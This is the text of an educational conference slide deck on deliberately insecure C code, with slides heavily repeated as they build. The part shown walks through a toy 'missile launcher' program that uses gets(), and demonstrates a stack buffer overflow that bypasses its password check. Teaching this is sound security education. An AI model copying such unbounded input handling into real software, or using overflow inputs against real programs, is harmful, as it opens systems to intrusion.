insecure coding in c (and c++)
DESCRIPTION
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. These slides will teach you the basics of how to deliberately write insecure programs in C and C++. A PDF version of the slides can be downloaded from my homepage: http://olvemaudal.com/talks Here is a video recording of me presenting these slides at NDC 2014: http://vimeo.com/channels/ndc2014/97505677 Enjoy!TRANSCRIPT
![Page 1: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/1.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Update: A recording of this talk is available at http://vimeo.com/channels/ndc2014/97505677
![Page 2: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/2.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
![Page 3: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/3.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:IntroductionAdvancedExpert
![Page 4: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/4.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:IntroductionAdvancedExpert
![Page 5: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/5.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:IntroductionAdvancedExpert
![Page 6: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/6.jpg)
Insecure coding in C (and C++)
Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited. Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++.
a 60 minute presentationNorwegian Developer Conference
Oslo, June 5 2014, 16:20-17:20
Olve Maudal
Level:IntroductionAdvancedExpert
![Page 7: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/7.jpg)
![Page 8: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/8.jpg)
![Page 9: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/9.jpg)
When I refer to "my machine" it is a fairly up-to-date Ubuntu distro (13.10) running in VirtualBox with x86-32 Linux kernel (3.11) and gcc (4.8.1) - there is nothing special here...
![Page 10: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/10.jpg)
I will briefly discuss the following topics:•stack buffer overflow (aka stack smashing)•call stack (aka activation frames)•writing exploits •arc injection (aka return to lib-c)•code injection (aka shell code)•data execution protection (aka DEP, PAE/NX, W^X)•address space layout randomization (ASLR)•stack protection (aka stack canaries)•return-oriented programming (ROP)•writing code with "surprising" behavior• layered security• information leakage•patching binaries•summary - a few tricks for insecure coding
![Page 11: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/11.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Here is a classic example of exploitable code
![Page 12: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/12.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Here is a classic example of exploitable code
![Page 13: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/13.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Here is a classic example of exploitable code
![Page 14: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/14.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
This program is bad in so many ways, but the main weakness we are going to have fun
with is of course the use of gets()
Here is a classic example of exploitable code
![Page 15: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/15.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
This program is bad in so many ways, but the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters from stdin until a newline or end-of-file is
reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the
allocated space for the buffer
Here is a classic example of exploitable code
![Page 16: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/16.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
This program is bad in so many ways, but the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters from stdin until a newline or end-of-file is
reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the
allocated space for the buffer
I never use gets()
Here is a classic example of exploitable code
![Page 17: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/17.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
This program is bad in so many ways, but the main weakness we are going to have fun
with is of course the use of gets()
gets() is a function that will read characters from stdin until a newline or end-of-file is
reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the
allocated space for the buffer
I never use gets()
That's nice to hear, and gets() has actually been deprecated and removed from latest
version of the language. We use it anyway here just to make it easier to illustrate the basics. In
C and C++ there are plenty of ways to accidentally allow you to poke directly into
memory - we will mention some of those later later. But for now...
Here is a classic example of exploitable code
![Page 18: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/18.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 19: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/19.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Let's try executing the code and see what happens.
![Page 20: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/20.jpg)
$ ./launch
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Let's try executing the code and see what happens.
![Page 21: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/21.jpg)
$ ./launchWarGames MissileLauncher v0.1
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Let's try executing the code and see what happens.
![Page 22: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/22.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Let's try executing the code and see what happens.
![Page 23: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/23.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
David
Let's try executing the code and see what happens.
![Page 24: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/24.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedDavid
Let's try executing the code and see what happens.
![Page 25: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/25.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedOperation complete
David
Let's try executing the code and see what happens.
![Page 26: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/26.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedOperation complete
$ ./launch
David
Let's try executing the code and see what happens.
![Page 27: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/27.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1
David
Let's try executing the code and see what happens.
![Page 28: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/28.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret:
David
Let's try executing the code and see what happens.
![Page 29: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/29.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 30: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/30.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access granted
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 31: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/31.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missiles
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 32: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/32.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 33: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/33.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launch
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 34: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/34.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 35: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/35.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret:
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 36: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/36.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Let's try executing the code and see what happens.
![Page 37: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/37.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access granted
Let's try executing the code and see what happens.
![Page 38: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/38.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missiles
Let's try executing the code and see what happens.
![Page 39: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/39.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Let's try executing the code and see what happens.
![Page 40: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/40.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Operation complete
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Let's try executing the code and see what happens.
![Page 41: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/41.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Operation complete$
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Let's try executing the code and see what happens.
